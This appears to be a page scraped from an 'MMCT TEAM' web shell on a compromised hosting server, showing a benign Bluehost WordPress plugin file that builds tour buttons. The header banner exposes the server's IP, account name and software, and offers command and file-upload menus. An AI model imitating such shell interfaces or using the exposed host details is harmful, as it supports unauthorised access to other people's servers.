MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.68
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /opt/wp/plugins/bluehost-wordpress-plugin/inc/Tours/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //opt/wp/plugins/bluehost-wordpress-plugin/inc/Tours/Shared.php
<?php

namespace Newfold\Plugin\Tours;

/**
 * Undocumented class
 */
class Shared {

    /**
     * Undocumented function
     *
     * @param string $text
     * @param string $type
     * @return void
     */
    public static function secondary_button( $text = 'Back', $type = 'back' ) {
        return array(
            'classes' => 'components-button is-secondary',
            'text'    => $text,
            'type'    => $type,
        );
    }

    /**
     * Undocumented function
     *
     * @param string $text
     * @param string $type
     * @return void
     */
    public static function primary_button( $text = 'Next', $type = 'next' ) {
        return array(
            'classes' => 'components-button is-primary',
            'text'    => $text,
            'type'    => $type,
        );
    }

    /**
     * Undocumented function
     *
     * @param [type] $contents
     * @return void
     */
    public static function step( $contents ) {
        $squares = '<div class="step-bluehost-squares"><img src="https://cdn.hiive.space/bluehost/mark.svg" alt="Bluehost Logo Mark" /></div>';
        return '<div class="wrap-std">' . $contents . $squares . '</div>';
    }

    /**
     * Undocumented function
     *
     * @param [type] $contents
     * @return void
     */
    public static function large_step( $contents ) {
        $logo = '<div class="step-bluehost-logo"><img src="https://cdn.hiive.space/bluehost/logo.svg" alt="Bluehost Logo" /></div>';
        return '<div class="wrap-large">'. $contents . $logo . '</div>';
    }

    /**
     * Undocumented function
     *
     * @param [type] $col1
     * @param [type] $col2
     * @return void
     */
    public static function two_col( $col1, $col2 ) {
        return '<div class="step-2col"><div>'. $col1 .'</div><div>'. $col2 .'</div></div>';
    }
}

MMCT - 2023